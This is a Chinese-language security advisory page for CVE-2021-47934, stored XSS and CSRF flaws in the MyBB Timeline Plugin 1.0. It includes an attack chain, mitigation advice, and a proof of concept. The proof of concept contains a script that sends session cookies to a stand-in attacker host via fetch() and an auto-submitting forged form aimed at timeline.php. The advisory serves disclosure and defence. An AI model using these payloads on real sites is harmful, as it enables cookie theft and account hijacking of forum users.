IPBUF安全漏洞报告
English
CVE-2021-47934 CVSS 5.3 中危

CVE-2021-47934 MyBB Timeline插件XSS与CSRF漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47934
漏洞类型
XSS, CSRF
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MyBB Timeline Plugin

相关标签

XSSCSRFMyBBTimeline PluginWeb SecurityStored XSS

漏洞概述

MyBB Timeline Plugin 1.0版本存在多个Web安全漏洞,包括跨站脚本(XSS)和跨站请求伪造(CSRF)。攻击者可利用XSS漏洞在主题标题、帖子内容及用户资料字段中注入恶意脚本,窃取用户敏感信息。同时,CSRF漏洞允许攻击者诱导受害者访问恶意页面,从而在后台更改用户的个人资料封面图片,对用户隐私和安全构成威胁。

技术细节

该漏洞的核心原因在于MyBB Timeline Plugin在开发过程中忽视了输入验证与输出编码的安全原则,且缺乏对关键状态修改操作的跨站请求伪造防护。首先,针对存储型XSS漏洞,插件在从数据库读取并渲染用户提交的内容(包括主题标题、帖子正文以及用户个人资料中的Location和Bio字段)时,直接将其嵌入HTML页面而未进行转义处理。这使得攻击者能够植入恶意的JavaScript代码,当管理员或其他用户浏览包含该内容的页面时,脚本将自动在受害者浏览器上下文中执行,进而窃取Session Cookie或进行钓鱼攻击。其次,针对CSRF漏洞,timeline.php文件中处理用户资料更新的接口仅依赖用户会话Cookie,未引入随机Token验证。攻击者可利用这一缺陷,精心构造一个隐藏的HTML表单,设置目标URL为timeline.php并包含修改封面图片的参数。当受害者访问被植入该表单的恶意网页时,浏览器会自动携带受害者的身份信息发送请求,服务器接收后执行修改操作,导致用户隐私泄露或账户被劫持。

攻击链分析

STEP 1
侦察与识别
攻击者确认目标论坛安装了MyBB Timeline Plugin 1.0版本。
STEP 2
XSS载荷注入
攻击者在用户资料的字段(如Location或Bio)中输入包含JavaScript的恶意代码并保存。
STEP 3
XSS触发与利用
当其他用户或管理员访问该攻击者的资料页面时,恶意脚本在浏览器中执行,可能导致Cookie窃取。
STEP 4
CSRF攻击构造
攻击者构造一个指向timeline.php的恶意HTML表单,旨在修改用户封面图片。
STEP 5
诱导访问与执行
诱导已登录的受害者访问该恶意链接,浏览器自动发送请求,服务器执行更改操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2021-47934 --> <!-- 1. Stored XSS via User Profile 'Location' or 'Bio' field --> <!-- Attacker injects this script into the profile location field --> <script> // Malicious JavaScript payload execution alert('XSS Triggered via MyBB Timeline Profile'); // Example: Stealing session cookies fetch('http://attacker-server/steal?c=' + document.cookie); </script> <!-- 2. CSRF via timeline.php to change cover picture --> <!-- Victim visits this page while logged in --> <html> <body> <form action="http://target-site/timeline.php" method="POST"> <input type="hidden" name="action" value="profile" /> <input type="hidden" name="cover_picture" value="http://attacker.com/malicious_cover.jpg" /> <input type="submit" value="Win a Prize!" /> </form> <script> // Auto-submit the form to trigger action without user interaction (besides page load) document.forms[0].submit(); </script> </body> </html>

影响范围

MyBB Timeline Plugin 1.0

防御指南

临时缓解措施
建议暂时禁用MyBB Timeline Plugin插件,直到官方发布修复补丁。对于无法卸载的场景,应部署Web应用防火墙(WAF)规则以拦截针对timeline.php的异常请求及常见的XSS攻击向量,并严格限制用户资料的输入字符集。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表